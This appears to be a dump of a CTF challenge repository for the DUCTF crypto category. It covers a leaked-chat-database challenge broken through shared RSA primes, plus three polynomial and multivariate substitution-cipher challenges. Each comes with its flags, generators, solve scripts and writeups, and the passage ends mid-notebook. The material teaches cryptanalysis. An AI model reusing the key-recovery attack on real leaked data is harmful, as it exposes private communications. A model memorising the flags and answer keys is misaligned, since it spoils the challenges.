and user-generated AES-256-CBC keys, rest assured that Secuchat has your conversations and secrets obscured from prying eyes." Shame their DB got dumped. See if you can glean anything. **Attached files:** - secuchat.db (sha256: cc4d0ee9c26cd173d53d0ad2d00e40f7c8ee637141ddc60f65cc853e7f86ed40) ================================================ FILE: crypto/secuchat/challenge.yml ================================================ version: "0.1" id: secuchat name: Secuchat category: crypto description: > "With end-to-end encryption facilitated by military-grade RSA2048-OAEP and user-generated AES-256-CBC keys, rest assured that Secuchat has your conversations and secrets obscured from prying eyes." Shame their DB got dumped. See if you can glean anything. Author: nullableVoid*#7225 tags: - medium files: - ./publish/secuchat.db flags: - DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!} ================================================ FILE: crypto/secuchat/solve/attack.py ================================================ #!/usr/bin/env python import sys import sqlite3 import itertools from math import gcd from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Cipher import AES from Crypto.Util.Padding import unpad db = sys.argv[1] if len(sys.argv) > 1 else './publish/secuchat.db' cur = (conn := sqlite3.connect(db)).cursor() cur.execute("SELECT * FROM User;") users = [(name, RSA.importKey(k)) for name, k in cur] for (an, ak), (bn, bk) in itertools.combinations(users, 2): if (p := gcd(ak.n, bk.n)) > 1: break print(an, bn) ak = RSA.construct((ak.n, 65537, pow(65537, -1, (p - 1) * ((q := (ak.n // p)) - 1)), p, q)) bk = RSA.construct((bk.n, 65537, pow(65537, -1, (p - 1) * ((q := (bk.n // p)) - 1)), p, q)) for user, rsa_key in [(an, ak), (bn, bk)]: oaep = PKCS1_OAEP.new(rsa_key) cur.execute(''' SELECT Conversation.id, initiator, peer, encrypted_aes_key_for_initiator, encrypted_aes_key_for_peer, iv FROM Conversation INNER JOIN Parameters ON Parameters.id = Conversation.initial_parameters WHERE initiator = ? OR peer = ?; ''', (user, user)) for cid, initiator, peer, initiator_key, peer_key, iv in cur.fetchall(): print(f"{cid}: {initiator} & {peer}") attribute = "" aes = None if initiator == user: attribute = "encrypted_aes_key_for_initiator" aes = AES.new(oaep.decrypt(initiator_key), AES.MODE_CBC, iv=iv) else: attribute = "encrypted_aes_key_for_peer" aes = AES.new(oaep.decrypt(peer_key), AES.MODE_CBC, iv=iv) cur.execute(''' SELECT encrypted_message, from_initiator, ''' + f"{attribute}, " + ''' iv FROM Message INNER JOIN Parameters ON Parameters.id = next_parameters WHERE conversation = ? ORDER BY timestamp ASC; ''', (cid,)) for message, from_initiator, key, iv in cur.fetchall(): print(f"{[peer, initiator][from_initiator]}:", message := unpad(aes.decrypt(message), AES.block_size).decode()) if "DUCTF" in message: break aes = AES.new(oaep.decrypt(key), AES.MODE_CBC, iv=iv) if "DUCTF" in message: break if "DUCTF" in message: break conn.close() ================================================ FILE: crypto/secuchat/solve/writeup.md ================================================ # Solution Sift through combinations of the population of RSA keys until a common prime is found (this is improbable in the wild, but is infinitely easier than factoring, see [Ron was wrong, Whit is right](https://eprint.iacr.org/2012/064.pdf). From the challenge description and database schema infer the crypto scheme used in the chat, that is, shared keys for AES-256-CBC encrypted with RSA and OAEP. Decrypt the messages one by one until the flag is found. ================================================ FILE: crypto/secuchat/src/flag.txt ================================================ DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!} ================================================ FILE: crypto/secuchat/src/generate.py ================================================ import sys from faker import Faker import sqlite3 import random from Crypto.PublicKey import RSA from Crypto.Util.number import getStrongPrime from Crypto.Random import get_random_bytes from Crypto.Cipher import AES from Crypto.Cipher import PKCS1_OAEP from Crypto.Util.Padding import pad from datetime import datetime FLAG = open("flag.txt", "r").read().strip() cursor = (conn := sqlite3.connect(sys.argv[1])).cursor() fake = Faker('en_AU') random_keys = [(fake.user_name(), RSA.generate(2048)) for i in range(29)] common = random.choice(random_keys)[1].p q = getStrongPrime(1024) vulnerable = (fake.user_name(), RSA.construct(( common * q, 65537, pow(65537, -1, (common - 1) * (q - 1)), common, q ))) cursor.executescript(''' CREATE TABLE User ( username TEXT PRIMARY KEY, rsa_key BLOB ); CREATE TABLE Parameters ( id INTEGER PRIMARY KEY AUTOINCREMENT, encrypted_aes_key_for_initiator BLOB, encrypted_aes_key_for_peer BLOB, iv BLOB ); CREATE TABLE Conversation ( id INTEGER PRIMARY KEY AUTOINCREMENT, initiator TEXT, peer TEXT, initial_parameters INTEGER, FOREIGN KEY (initiator) REFERENCES User(username), FOREIGN KEY (peer) REFERENCES User(username), FOREIGN KEY (initial_parameters) REFERENCES Parameters(id), UNIQUE(initiator, peer) ); CREATE TABLE Message ( conversation INTEGER, timestamp INTEGER, from_initiator BOOL, next_parameters INTEGER, encrypted_message BLOB, FOREIGN KEY (conversation) REFERENCES Conversation(id), FOREIGN KEY (next_parameters) REFERENCES Parameters(id) ); ''') cursor.executemany(''' INSERT INTO User(username, rsa_key) VALUES (?, ?); ''', [(u, k.publickey().exportKey("DER")) for u, k in random.sample(random_keys + [vulnerable], len(random_keys) + 1)]) print("Generated users") all_keys = dict(random_keys + [vulnerable]) def insert_parameters(encrypted_for_initiator, encrypted_for_peer, iv): cursor.execute(''' INSERT INTO Parameters(encrypted_aes_key_for_initiator, encrypted_aes_key_for_peer, iv) VALUES (?, ?, ?); ''', (encrypted_for_initiator, encrypted_for_peer, iv)) cursor.execute(''' SELECT id FROM Parameters WHERE rowid = ?; ''', (cursor.lastrowid,)) return cursor.fetchone()[0] def new_conversation(initiator, peer, messages, timestamp): initiator_oaep = PKCS1_OAEP.new(all_keys[initiator]) peer_oaep = PKCS1_OAEP.new(all_keys[peer]) key = get_random_bytes(32) iv = get_random_bytes(16) cursor.execute(''' INSERT INTO Conversation(initiator, peer, initial_parameters) VALUES (?, ?, ?); ''', (initiator, peer, insert_parameters(initiator_oaep.encrypt(key), peer_oaep.encrypt(key), iv))) cursor.execute(''' SELECT id FROM Conversation WHERE rowid = ?; ''', (cursor.lastrowid,)) conversation_id = cursor.fetchone()[0] timestamp += random.randint(1, 100) result = [] for message in messages: encrypted = AES.new(key, AES.MODE_CBC, iv=iv).encrypt(pad(message[1].encode(), AES.block_size)) key = get_random_bytes(32) iv = get_random_bytes(16) result.append(( conversation_id, timestamp, message[0], insert_parameters(initiator_oaep.encrypt(key), peer_oaep.encrypt(key), iv), encrypted )) timestamp += random.randint(2, 20) return result all_messages = [] now = int(datetime.now().timestamp()) for i in range(45): initiator, peer = random.sample(list(all_keys.keys()), 2) while True: cursor.execute(''' SELECT COUNT(1) FROM Conversation WHERE (initiator = ? AND peer = ?) OR (peer = ? AND initiator = ?); ''', (initiator, peer, initiator, peer)) if cursor.fetchone()[0] == 0: break initiator, peer = random.sample(list(all_keys.keys()), 2) all_messages += new_conversation(initiator, peer, [(bool(random.getrandbits(1)), fake.sentence()) for i in range(random.randint(4, 10))], now) initiator = vulnerable[0] peer = random.choice(list(all_keys.keys())) while True: cursor.execute(''' SELECT COUNT(1) FROM Conversation WHERE (initiator = ? AND peer = ?) OR (peer = ? AND initiator = ?); ''', (initiator, peer, initiator, peer)) if cursor.fetchone()[0] == 0: break peer = random.choice(list(all_keys.keys())) all_messages += new_conversation(initiator, peer, [ (True, f"hey {fake.sentence()}"), (False, f"hey {fake.sentence()}"), (True, f"here's the flag btw {fake.sentence()}"), (True, f"{FLAG} {fake.sentence()}"), (False, f"cheers {fake.sentence()}"), ], now) cursor.executemany(''' INSERT INTO Message(conversation, timestamp, from_initiator, next_parameters, encrypted_message) VALUES (?, ?, ?, ?, ?); ''', all_messages) conn.commit() conn.close() ================================================ FILE: crypto/substitution-cipher-i/README.md ================================================ # Substitution Cipher I **Category:** crypto **Difficulty:** beginner **Author:** joseph#8210 Just a simple substitution cipher to get started... **Attached files:** - ./challenge/substitution-cipher-i.sage (sha256: 2c6a139f53f9176129502d6c064bd91c633ba7144170b761cf6f43c82e978dc0) - ./challenge/output.txt (sha256: 2e486d6bb275404c56bbbb0bcbcbb04a3f5338b6a59590675e5941f2514e9b20) ================================================ FILE: crypto/substitution-cipher-i/challenge/flag.txt ================================================ DUCTF{sh0uld'v3_us3d_r0t_13} ================================================ FILE: crypto/substitution-cipher-i/challenge/output.txt ================================================ 𖿫𖝓玲𰆽𪃵𢙿疗𫢋𥆛🴃䶹𬑽蒵𜭱𫢋𪃵蒵🴃𜭱𩕑疗𪲳𜭱窇蒵𱫳 ================================================ FILE: crypto/substitution-cipher-i/challenge/substitution-cipher-i.sage ================================================ def encrypt(msg, f): return ''.join(chr(f.substitute(c)) for c in msg) P. = PolynomialRing(ZZ) f = 13*x^2 + 3*x + 7 FLAG = open('./flag.txt', 'rb').read().strip() enc = encrypt(FLAG, f) print(enc) ================================================ FILE: crypto/substitution-cipher-i/challenge.yml ================================================ version: "0.1" id: substitution-cipher-i name: Substitution Cipher I category: crypto description: | Just a simple substitution cipher to get started... Author: joseph#8210 tags: - beginner files: - ./challenge/substitution-cipher-i.sage - ./challenge/output.txt flags: - DUCTF{sh0uld'v3_us3d_r0t_13} ================================================ FILE: crypto/substitution-cipher-i/solve/solve.sage ================================================ P. = PolynomialRing(ZZ) f = 13*x^2 + 3*x + 7 enc = open('../challenge/output.txt', 'r').read().strip() flag = '' for c in enc: p = (f - ord(c)).roots()[0][0] flag += chr(p) print(flag) ================================================ FILE: crypto/substitution-cipher-i/solve/test.sh ================================================ #!/bin/sh TMPDIR=`mktemp -d` cp -r /work/challenge /work/solve "$TMPDIR" cd "$TMPDIR/solve" sage solve.sage ================================================ FILE: crypto/substitution-cipher-i/solve/writeup.md ================================================ The encryption used in the challenge is indeed a simple substitution cipher in disguise. If the text was longer and closer to English, it could be cracked with frequency analysis since each character is encrypted individually and independently of each other. A plaintext character `m` is encrypted by evaluating it at a public polynomial `f(x) = 13x^2 + 3x + 7`. For example, to encrypt the character "a" (whose ASCII value is 97) we would compute ``` f(97) = 13*(97^2) + 3*97 +7 = 122615 ``` The entire message is encrypted by encrypting each character in this way. Now suppose we are given a ciphertext value `c`. The goal is to find its corresponding plaintext character `x`. We can represent this mathematically as `f(x) = c`, so plugging in the values, we get ``` 13x^2 + 3x + 7 = 122615 ``` so ``` 13x^2 + 3x + 7 - 122615 = 0 ``` Which is just a quadratic equation that can be solved using the quadratic formula. In particular, we get ``` x = (-3 ± sqrt(9 - 4*13*(-122608)))/(2*13) = -97.23077 or 97 ``` Since we are only interested in positive, integer solutions, we conclude that `x = 97`. Doing this for each character in the ciphertext, we can recover the flag. SageMath provides a nice [method](https://doc.sagemath.org/html/en/reference/polynomial_rings/sage/rings/polynomial/polynomial_element.html#sage.rings.polynomial.polynomial_element.Polynomial.roots) for solving for the roots of polynomials which is used in the solve script: ```py P. = PolynomialRing(ZZ) f = 13*x^2 + 3*x + 7 enc = open('../challenge/output.txt', 'r').read().strip() flag = '' for c in enc: p = (f - ord(c)).roots()[0][0] flag += chr(p) print(flag) ``` ================================================ FILE: crypto/substitution-cipher-ii/README.md ================================================ # Substitution Cipher II **Category:** crypto **Difficulty:** easy **Author:** joseph#8210 That's an interesting looking substitution cipher... **Attached files:** - ./challenge/substitution-cipher-ii.sage (sha256: 7491cc5c853cd92c6adf836baad2cf66df84032e76f5603c5008e4681e705f79) - ./challenge/output.txt (sha256: a77979287fadd1547a84af88a84e78f32fa35d10a671060ec934ac8236e2b8d3) ================================================ FILE: crypto/substitution-cipher-ii/challenge/flag.txt ================================================ DUCTF{go0d_0l'_l4gr4ng3} ================================================ FILE: crypto/substitution-cipher-ii/challenge/output.txt ================================================ Ujyw5dnFofaou0au3nx3Cn84 ================================================ FILE: crypto/substitution-cipher-ii/challenge/substitution-cipher-ii.sage ================================================ from string import ascii_lowercase, digits CHARSET = "DUCTF{}_!?'" + ascii_lowercase + digits n = len(CHARSET) def encrypt(msg, f): ct = '' for c in msg: ct += CHARSET[f.substitute(CHARSET.index(c))] return ct P. = PolynomialRing(GF(n)) f = P.random_element(6) FLAG = open('./flag.txt', 'r').read().strip() enc = encrypt(FLAG, f) print(enc) ================================================ FILE: crypto/substitution-cipher-ii/challenge.yml ================================================ version: "0.1" id: substitution-cipher-ii name: Substitution Cipher II category: crypto description: | That's an interesting looking substitution cipher... Author: joseph#8210 tags: - easy files: - ./challenge/substitution-cipher-ii.sage - ./challenge/output.txt flags: - DUCTF{go0d_0l'_l4gr4ng3} ================================================ FILE: crypto/substitution-cipher-ii/solve/solve.sage ================================================ from string import ascii_lowercase, digits CHARSET = 'DUCTF{}_!?\'' + ascii_lowercase + digits n = len(CHARSET) def to_num(c): return CHARSET.index(c) def to_chr(x): return CHARSET[x] enc = open('../challenge/output.txt', 'r').read().strip() P. = PolynomialRing(GF(n)) known_pt = 'DUCTF{}' known_ct = enc[:6] + enc[-1] pairs = [(to_num(p), to_num(c)) for p,c in zip(known_pt, known_ct)] f = P.lagrange_polynomial(pairs) # get the possible plaintext character for each ciphertext character possible_chars = [] for c in enc: possible = (f - to_num(c)).roots() possible = [to_chr(p[0]) for p in possible] possible_chars.append(possible) # get all combinations of possible plaintext characters possible_flags = [] for p in cartesian_product(possible_chars): possible_flags.append(''.join(p)) print('Possible Flags:') print('\n'.join(possible_flags)) ================================================ FILE: crypto/substitution-cipher-ii/solve/test.sh ================================================ #!/bin/sh TMPDIR=`mktemp -d` cp -r /work/challenge /work/solve "$TMPDIR" cd "$TMPDIR/solve" sage solve.sage ================================================ FILE: crypto/substitution-cipher-ii/solve/writeup.md ================================================ This challenge is a sequel to "Substitution Cipher I". We have a similar situation as with the first challenge, except instead of a function over the integers, we work over a finite field `GF(n)`, which for the purposes of this challenge, we can think of as basically a subset of the integers where addition and multiplication are done modulo `n`. Another difference is that the polynomial `f` is not given, and it is of degree 6. Each coefficient of `f` can be any integer in the range `0, 1, ..., n`, and since there are 7 coefficients, there can be up to `n^7` different possibilities for `f`. In the challenge, `n = 47`, so searching `n^7` possibilities would be unreasonable. Instead, we can use the fact that a polynomial of degree `d` is uniquely determined by `d+1` points that lie on it. We know that the flag is of the form `DUCTF{...}` so we have exactly 7 known points on the curve! We can use a technique known as [Lagrange interpolation](https://en.wikipedia.org/wiki/Lagrange_polynomial) to recover the polynomial (SageMath has a method for this too!). We find that the polynomial is ``` f(x) = 41x^6 + 15x^5 + 40x^4 + 9x^3 + 28x^2 + 27x + 1 ``` Now we can use a similar idea to the previous challenge and find possible plaintext characters for each ciphertext character `c` by finding the roots of `f(x) - c`. However, in this case, there may be many solutions in the range `0, 1, ..., n`. It turns out that the total number of possible flags is not that high, so we can look through all of them and choose the one that seems most fitting (or just try submitting all of them). The possible flags that we find (excluding the ones that don't fit flag format) are: ``` DUCTF{go0d_0l'_l4gr4pg8} DUCTF{go0d_0l'_l4gr4pg3} DUCTF{go0d_0l'_l4gr4ng8} DUCTF{go0d_0l'_l4gr4ng3} DUCTF{go0d_0l'_l4gr4fg8} DUCTF{go0d_0l'_l4gr4fg3} ``` The correct flag is `DUCTF{go0d_0l'_l4gr4ng3}`. ```py from string import ascii_lowercase, digits CHARSET = 'DUCTF{}_!?\'' + ascii_lowercase + digits n = len(CHARSET) def to_num(c): return CHARSET.index(c) def to_chr(x): return CHARSET[x] enc = open('../challenge/output.txt', 'r').read().strip() P. = PolynomialRing(GF(n)) known_pt = 'DUCTF{}' known_ct = enc[:6] + enc[-1] pairs = [(to_num(p), to_num(c)) for p,c in zip(known_pt, known_ct)] f = P.lagrange_polynomial(pairs) # get the possible plaintext character for each ciphertext character possible_chars = [] for c in enc: possible = (f - to_num(c)).roots() possible = [to_chr(p[0]) for p in possible] possible_chars.append(possible) # get all combinations of possible plaintext characters possible_flags = [] for p in cartesian_product(possible_chars): possible_flags.append(''.join(p)) print('Possible Flags:') print('\n'.join(possible_flags)) ``` ================================================ FILE: crypto/substitution-cipher-iii/README.md ================================================ # Substitution Cipher III **Category:** crypto **Difficulty:** hard **Author:** joseph#8210 Wait a **MI**nute, that's not a substitution cipher! **Attached files:** - ./challenge/substitution-cipher-iii.sage (sha256: 31cd375e3b8b141346f014b4eae47ad18455e111b1bcb93f20f189ea102331aa) - ./challenge/output.txt (sha256: d760f30838e844ebceb7d4329c087764858002e81860708b045d9ef68a6443ca) ================================================ FILE: crypto/substitution-cipher-iii/challenge/flag.txt ================================================ DUCTF{MQ_1s_fun_a5e39cf21a} ================================================ FILE: crypto/substitution-cipher-iii/challenge/output.txt ================================================ (x0*x1 + x0*x6 + x0*x7 + x0*x8 + x0*x11 + x0*x12 + x0*x15 + x0*x17 + x0*x18 + x0*x19 + x0*x24 + x0*x27 + x0*x28 + x0*x34 + x0*x36 + x0*x37 + x0*x38 + x0*x40 + x0*x41 + x0*x42 + x0*x43 + x0*x45 + x0*x46 + x0*x48 + x0*x50 + x0*x52 + x0*x53 + x0*x55 + x0*x56 + x0*x60 + x0*x62 + x0*x64 + x0*x69 + x0*x71 + x0*x74 + x0*x75 + x0*x78 + x1*x4 + x1*x6 + x1*x8 + x1*x11 + x1*x12 + x1*x13 + x1*x14 + x1*x15 + x1*x18 + x1*x19 + x1*x20 + x1*x22 + x1*x24 + x1*x27 + x1*x29 + x1*x30 + x1*x34 + x1*x35 + x1*x37 + x1*x39 + x1*x40 + x1*x41 + x1*x42 + x1*x43 + x1*x45 + x1*x46 + x1*x47 + x1*x49 + x1*x51 + x1*x52 + x1*x53 + x1*x54 + x1*x55 + x1*x58 + x1*x60 + x1*x63 + x1*x65 + x1*x66 + x1*x71 + x1*x72 + x1*x76 + x1 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x10 + x2*x14 + x2*x15 + x2*x16 + x2*x18 + x2*x24 + x2*x25 + x2*x27 + x2*x33 + x2*x35 + x2*x37 + x2*x39 + x2*x41 + x2*x43 + x2*x44 + x2*x46 + x2*x49 + x2*x50 + x2*x52 + x2*x53 + x2*x54 + x2*x58 + x2*x60 + x2*x61 + x2*x62 + x2*x65 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x77 + x2*x79 + x2 + x3*x7 + x3*x9 + x3*x10 + x3*x11 + x3*x13 + x3*x14 + x3*x16 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x31 + x3*x34 + x3*x35 + x3*x38 + x3*x40 + x3*x41 + x3*x42 + x3*x43 + x3*x46 + x3*x48 + x3*x50 + x3*x52 + x3*x58 + x3*x62 + x3*x65 + x3*x69 + x3*x70 + x3*x71 + x3*x73 + x3*x75 + x3*x76 + x3 + x4*x5 + x4*x6 + x4*x9 + x4*x12 + x4*x17 + x4*x18 + x4*x21 + x4*x22 + x4*x24 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x31 + x4*x32 + x4*x34 + x4*x39 + x4*x44 + x4*x46 + x4*x48 + x4*x50 + x4*x51 + x4*x53 + x4*x55 + x4*x57 + x4*x64 + x4*x65 + x4*x67 + x4*x68 + x4*x69 + x4*x74 + x4*x75 + x4*x79 + x4 + x5*x6 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x16 + x5*x19 + x5*x20 + x5*x23 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x30 + x5*x32 + x5*x34 + x5*x35 + x5*x37 + x5*x39 + x5*x40 + x5*x44 + x5*x46 + x5*x56 + x5*x60 + x5*x61 + x5*x63 + x5*x64 + x5*x65 + x5*x67 + x5*x69 + x5*x70 + x5*x71 + x5*x74 + x5*x78 + x6*x10 + x6*x12 + x6*x13 + x6*x17 + x6*x19 + x6*x23 + x6*x27 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x34 + x6*x38 + x6*x39 + x6*x42 + x6*x44 + x6*x47 + x6*x49 + x6*x50 + x6*x55 + x6*x57 + x6*x60 + x6*x63 + x6*x64 + x6*x66 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x6 + x7*x12 + x7*x14 + x7*x18 + x7*x20 + x7*x21 + x7*x22 + x7*x23 + x7*x24 + x7*x26 + x7*x27 + x7*x28 + x7*x29 + x7*x33 + x7*x34 + x7*x37 + x7*x38 + x7*x39 + x7*x40 + x7*x41 + x7*x43 + x7*x44 + x7*x48 + x7*x49 + x7*x50 + x7*x52 + x7*x53 + x7*x55 + x7*x59 + x7*x61 + x7*x63 + x7*x64 + x7*x66 + x7*x67 + x7*x69 + x7*x70 + x7*x72 + x7*x74 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x16 + x8*x19 + x8*x21 + x8*x23 + x8*x25 + x8*x32 + x8*x33 + x8*x38 + x8*x40 + x8*x41 + x8*x45 + x8*x49 + x8*x57 + x8*x58 + x8*x63 + x8*x69 + x8*x72 + x8*x74 + x8*x75 + x8*x76 + x9*x10 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x15 + x9*x17 + x9*x18 + x9*x20 + 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pubkey[0].parent().gens() n = len(gens) B = ''.join(f'{c:08b}' for c in msg) B = list(map(int, B)) assert len(B) <= n B += [0] * (n - len(B)) subs = { x: b for x, b in zip(gens, B) } return ''.join([str(p.substitute(subs)) for p in pubkey]) def generate_key(n): q = 2 F = GF(q) K = BooleanPolynomialRing(n, 'x') R. = PolynomialRing(K) i = GF(q)[t].irreducible_element(n) I = Ideal(R(i)) I.reduce = lambda f: f % i # dirty sage hack E. = PolynomialRing(K, t).quo(I) L. = PolynomialRing(E) A = AffineGroup(n, K) S = A(GL(n, F).random_element(), random_vector(F, n), check=False) r = sum(randint(0, 1) * tbar^i for i in range(n)) P = r * x^(q + 1) T = A(GL(n, F).random_element(), random_vector(F, n), check=False) B = S(K.gens()) * vector([tbar^i for i in range(n)]) Q = P(B) R = T(Q.lift().coefficients()) return R, (S, P, T) pubkey, privkey = generate_key(80) FLAG = open('./flag.txt', 'rb').read().strip() assert FLAG.startswith(b'DUCTF{') and FLAG.endswith(b'}') FLAG = FLAG.strip(b'DUCTF{}') msg1 = FLAG[:10] msg2 = FLAG[10:] ct1 = encrypt(pubkey, msg1) ct2 = encrypt(pubkey, msg2) print(pubkey) print(ct1) print(ct2) ================================================ FILE: crypto/substitution-cipher-iii/challenge.yml ================================================ version: "0.1" id: substitution-cipher-iii name: Substitution Cipher III category: crypto description: | Wait a **MI**nute, that's not a substitution cipher! Author: joseph#8210 tags: - hard files: - ./challenge/substitution-cipher-iii.sage - ./challenge/output.txt flags: - DUCTF{MQ_1s_fun_a5e39cf21a} ================================================ FILE: crypto/substitution-cipher-iii/solve/solve.sage ================================================ from Crypto.Util.number import long_to_bytes from string import printable from tqdm import tqdm E, C1, C2 = open('../challenge/output.txt', 'r').read().splitlines() def encrypt(pubkey, msg): # assume msg \in {0,1}^n return tuple([p(*msg) for p in pubkey]) # not entirely necessary, but speeds up polynomial evaluation def gen_sparse_vector(i, n): p = 0 while i > 0: p |= 1 << (i % n) i //= n return tuple(map(int, f'{p:0b}'.zfill(n))) def get_ptct_pairs(pubkey, N): n = len(pubkey[0].parent().gens()) seen = set() pairs = [] i = 0 pbar = tqdm(total=int(N)) while len(pairs) < N: pt = gen_sparse_vector(i, n) if pt not in seen: ct = encrypt(pubkey, pt) pairs.append((pt, ct)) seen.add(pt) pbar.update(int(1)) i += 1 pbar.close() return pairs def gen_matrix_row(pair): X, Y = pair r = [] for i in range(n): for j in range(n): r.append(F(X[i]*Y[j])) r += [F(x) for x in X] r += [F(y) for y in Y] r.append(1) return r q = 2 n = 80 F = GF(q) G = PolynomialRing(F, [f'x{i}' for i in range(n)]) Kb = BooleanPolynomialRing(n, 'x') # faster than GF(2)[x0, ..., xn] Kb.inject_variables() pubkey = eval(E) print('generating random pt/ct pairs...') pairs = get_ptct_pairs(pubkey, (n+1)^2) print('generating coefficient matrix...') M = list(gen_matrix_row(pair) for pair in tqdm(pairs)) M = Matrix(F, M) print(f'nullity: {M.right_nullity()}') print('computing kernel...') K = M.right_kernel() def recover_X(K, C): X = Kb.gens() Y = [int(c) for c in C] T = [] for coeffs in K.basis(): eq = 0 for i in range(n): for j in range(n): eq += coeffs[n*i + j]*X[i]*Y[j] eq += sum(coeffs[n^2 + i]*X[i] for i in range(n)) eq += sum(coeffs[n^2 + n + i]*Y[i] for i in range(n)) eq += coeffs[n^2 + 2*n] T.append(G(eq)) T = Sequence(T) for v in T.coefficient_matrix()[0].right_kernel(): m = ''.join(map(str, v[:-1])) pt = long_to_bytes(int(m, 2)) if all(chr(c) in printable for c in pt): return pt.decode() flag1 = recover_X(K, C1) flag2 = recover_X(K, C2) flag = 'DUCTF{' + flag1 + flag2 + '}' print(flag) ================================================ FILE: crypto/substitution-cipher-iii/solve/test.sh ================================================ #!/bin/sh sage --pip install pycrypto tqdm TMPDIR=`mktemp -d` cp -r /work/challenge /work/solve "$TMPDIR" cd "$TMPDIR/solve" sage solve.sage ================================================ FILE: crypto/substitution-cipher-iii/solve/writeup.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "id": "a0f3f251", "metadata": {}, "source": [ "# Challenge Overview\n", "\n", "This challenge is a sequel to \"Substitution Cipher II\", though in terms of difficulty, it is a large step up. The basis of the challenge is Patarin's famous attack (though other attacks may work) on the Matsumoto-Imai cryptosystem which was hinted towards by the bold **MI** in the challenge's description (one could easily find useful resources online by searching \"MI cryptosystem\"). The large public key size is also a trait of multivariate public key cryptosystems which some people may have recognised.\n", "\n", "Like with the other two substitution cipher challenges, we are given the code which has been used to encrypt the flag, as well as the ciphertext. In this challenge, we are also given a public key.\n", "\n", "## Matsumoto-Imai Cryptosystem\n", "\n", "In this section we give a rough description of the Matsumoto-Imai-like cryptosystem as presented in the challenge. There are some differences from the original cryptosystem, so to hopefully make it easier to follow, we also draw comparisons between the mathematical notation and the handout code.\n", "\n", "The general idea is that a composition of certain transformations is difficult to invert without knowledge of the individual transformations that make it up; so a private key is made up of some invertible transformations, and the corresponding public key is their composition. Additionally, solving a set of multivariate (even quadratic) polynomial equations over a finite field in general is proven to be NP-complete, so one _shouldn't_ be able to easily recover the plaintext from a given ciphertext and the public key alone.\n", "\n", "### Parameters\n", "\n", "To set the scene, we choose parameters $q$ and $n$ (in the challenge $q = 2$ and $n = 80$) and define some algebraic objects to work with:\n", "\n", "$$\n", "\\begin{aligned}\n", " K &= \\mathbb{F}_q[x_1, \\ldots, x_n] \\\\\n", " E &= K[t]/(i(t)) \\\\\n", " L &= E[x] \\\\\n", " A &= \\mathrm{Aff}(n, K)\n", "\\end{aligned}\n", "$$\n", "\n", "where $i(t)$ is an arbitrary degree $n$ irreducible polynomial. \n", "\n", "In Sage, we need to write a bit more boilerplate to achieve this:\n", "\n", "```py\n", " q = 2\n", " F = GF(q)\n", " K = BooleanPolynomialRing(n, 'x')\n", " R. = PolynomialRing(K)\n", " i = GF(q)[t].irreducible_element(n)\n", " I = Ideal(R(i))\n", " I.reduce = lambda f: f % i # dirty sage hack\n", " E. = PolynomialRing(K, t).quo(I)\n", " L. = PolynomialRing(E)\n", " A = AffineGroup(n, K)\n", "```\n", "\n", "- [`BooleanPolynomialRing`](https://doc.sagemath.org/html/en/reference/polynomial_rings/sage/rings/polynomial/pbori/pbori.html) is a more efficient implementation of boolean polynomials; in most cases it can be used as a clean replacement for `GF(2)[x1, ..., xn]`.\n", "- As for the `I.reduce = ...` line, this should probably not need to be done but I was having difficulties getting Sage to properly reduce elements of $E$ modulo $i(t)$ and this seemed like the only way to fix it.\n", "- The purpose of $L$ is to define polynomials whose variables are in $E$ (which we'll do next).\n", "- $A$ is defined so that we can easily work with affine transformations.\n", "\n", "### Private Key\n", "\n", "Next, we'll generate the private key. We choose random $S, T \\in A$ and $P = r x^{q + 1} \\in L$ where $r \\in E$ is randomly chosen. (Note that the construction of $P$ here is not in its most general form, and that this particular choice of $P$ is potentially weaker than other choices).\n", "\n", "In Sage, we write:\n", "\n", "```py\n", " S = A(GL(n, F).random_element(), random_vector(F, n), check=False)\n", " r = sum(randint(0, 1) * tbar^i for i in range(n))\n", " P = r * x^(q + 1)\n", " T = A(GL(n, F).random_element(), random_vector(F, n), check=False)\n", "```\n", "\n", "`A.random_element()` wasn't working for some reason, so we simply generate a random invertible matrix and a random vector with elements in $\\mathbb{F}_q$ which is enough to represent an affine transformation.\n", "\n", "### Public Key\n", "\n", "To derive the public key $R$ from the private key, we simply take the composition $R = T \\circ P \\circ S$.\n", "\n", "Actually, that's not entirely correct but it captures the general idea. To be more explicit, $S$ and $T$ are affine transformations that map elements of $K^n$ to elements of $K^n$, whereas $P$ is a function that takes an element in $E$ and outputs an element in $E$. The way we glue together these components of different \"types\" is by introducing an extra function that converts between the two types; there is a natural bijection between $K^n$ and $E$, so we define:\n", "\n", "$$\n", "\\begin{aligned}\n", " \\varphi : K^n &\\rightarrow E \\\\\n", " (v_0, v_1, \\ldots, v_{n-1}) &\\mapsto v_0 + v_1 t + \\cdots + v_{n-1} t^{n-1}\n", "\\end{aligned}\n", "$$\n", "\n", "So more accurately, we take the public key to be $R = T \\circ \\varphi^{-1} \\circ P \\circ \\varphi \\circ S$.\n", "\n", "$R$ itself can be represented by $n$ multivariate polynomials $r_1, r_2, \\ldots, r_n$; these are what will be used for encryption.\n", "\n", "In Sage, we can write this concisely as:\n", "\n", "```py\n", " B = S(K.gens()) * vector([tbar^i for i in range(n)])\n", " Q = P(B)\n", " R = T(Q.lift().coefficients())\n", "```\n", "\n", "Since $S$ and $T$ are elements of $A$, we can perform the transformation they represent with `S(x)` and `T(x)` respectively, where `x` is an element of $K^n$. Multiplication by the vector $(1, t, \\ldots, t^{n-1})$ is equivalent to the conversion map $\\varphi$, and taking the coefficients of an element in $E$ is equivalent to $\\varphi^{-1}$. The reason for the `.lift()` is to consider `Q` as an element of $K[t]$ (as opposed to an element of $E$) since `.coefficients()` seems 